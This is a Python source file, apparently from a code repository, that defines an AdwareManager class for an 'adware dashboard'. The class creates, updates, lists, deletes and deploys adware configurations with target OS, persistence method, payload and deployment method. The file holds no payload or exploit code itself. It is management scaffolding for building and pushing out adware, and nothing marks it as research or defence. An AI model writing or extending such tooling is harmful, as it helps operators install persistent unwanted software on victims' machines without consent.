File size: 7,175 Bytes
2f3c093 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 | import logging
from typing import Dict, Any, List
from adware_dashboard.core.payload_manager import PayloadManager
from adware_dashboard.core.deployment_manager import DeploymentManager
from adware_dashboard.models import Adware, Payload, DeploymentMethod
class AdwareManager:
def __init__(self, logger: logging.Logger, payload_manager: PayloadManager, deployment_manager: DeploymentManager):
"""
Initializes the AdwareManager with a logger, payload manager, and deployment manager.
Args:
logger (logging.Logger): The logger instance to use.
payload_manager (PayloadManager): The payload manager instance.
deployment_manager (DeploymentManager): The deployment manager instance.
"""
self.logger = logger
self.payload_manager = payload_manager
self.deployment_manager = deployment_manager
def create_adware(self, name: str, description: str, target_os: str, persistence_method: str, payload_id: int, deployment_method_id: int, config: Dict[str, Any]) -> Adware:
"""
Creates a new adware configuration.
Args:
name (str): The name of the adware.
description (str): A description of the adware.
target_os (str): The target operating system.
persistence_method (str): The persistence method.
payload_id (int): The ID of the payload to use.
deployment_method_id (int): The ID of the deployment method to use.
config (Dict[str, Any]): Additional configuration parameters.
Returns:
Adware: The created adware object.
"""
try:
adware = Adware(
name=name,
description=description,
target_os=target_os,
persistence_method=persistence_method,
payload_id=payload_id,
deployment_method_id=deployment_method_id,
config=config
)
adware.save()
self.logger.info(f"Adware '{name}' created successfully.")
return adware
except ValueError as e:
self.logger.error(f"Error creating adware: {str(e)}")
raise
except Exception as e:
self.logger.error(f"Unexpected error creating adware: {str(e)}")
raise
def get_adware(self, adware_id: int) -> Adware:
"""
Retrieves an adware configuration by its ID.
Args:
adware_id (int): The ID of the adware to retrieve.
Returns:
Adware: The adware object, or None if not found.
"""
try:
adware = Adware.get_or_none(Adware.id == adware_id)
if not adware:
self.logger.warning(f"Adware with ID {adware_id} not found.")
return adware
except Exception as e:
self.logger.error(f"Unexpected error retrieving adware with ID {adware_id}: {str(e)}")
return None
def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware:
"""
Updates an existing adware configuration.
Args:
adware_id (int): The ID of the adware to update.
name (str, optional): The new name of the adware.
description (str, optional): The new description of the adware.
target_os (str, optional): The new target operating system.
persistence_method (str, optional): The new persistence method.
payload_id (int, optional): The new ID of the payload to use.
deployment_method_id (int, optional): The new ID of the deployment method to use.
config (Dict[str, Any], optional): Additional configuration parameters.
Returns:
Adware: The updated adware object, or None if not found.
"""
try:
adware = self.get_adware(adware_id)
if not adware:
return None
if name:
adware.name = name
if description:
adware.description = description
if target_os:
adware.target_os = target_os
if persistence_method:
adware.persistence_method = persistence_method
if payload_id:
adware.payload_id = payload_id
if deployment_method_id:
adware.deployment_method_id = deployment_method_id
if config:
adware.config = config
adware.save()
self.logger.info(f"Adware '{adware.name}' updated successfully.")
return adware
except ValueError as e:
self.logger.error(f"Error updating adware: {str(e)}")
raise
except Exception as e:
self.logger.error(f"Unexpected error updating adware: {str(e)}")
raise
def delete_adware(self, adware_id: int) -> bool:
"""
Deletes an adware configuration by its ID.
Args:
adware_id (int): The ID of the adware to delete.
Returns:
bool: True if the adware was deleted, False otherwise.
"""
try:
adware = self.get_adware(adware_id)
if not adware:
return False
adware.delete_instance()
self.logger.info(f"Adware '{adware.name}' deleted successfully.")
return True
except Exception as e:
self.logger.error(f"Unexpected error deleting adware with ID {adware_id}: {str(e)}")
return False
def list_adware(self) -> List[Adware]:
"""
Lists all adware configurations.
Returns:
List[Adware]: A list of all adware objects.
"""
try:
adware_list = list(Adware.select())
return adware_list
except Exception as e:
self.logger.error(f"Unexpected error listing adware: {str(e)}")
return []
def deploy_adware(self, adware_id: int) -> bool:
"""
Deploys an adware configuration.
Args:
adware_id (int): The ID of the adware to deploy.
Returns:
bool: True if the adware was deployed, False otherwise.
"""
try:
adware = self.get_adware(adware_id)
if not adware:
return False
self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config)
self.logger.info(f"Adware '{adware.name}' deployed successfully.")
return True
except Exception as e:
self.logger.error(f"Error deploying adware '{adware.name}': {str(e)}")
return False
def integrate_with_gui(self, gui):
"""
Integrates the AdwareManager with the GUI.
Args:
gui: The GUI instance to integrate with.
"""
self.gui = gui
self.logger.info("AdwareManager integrated with GUI")
|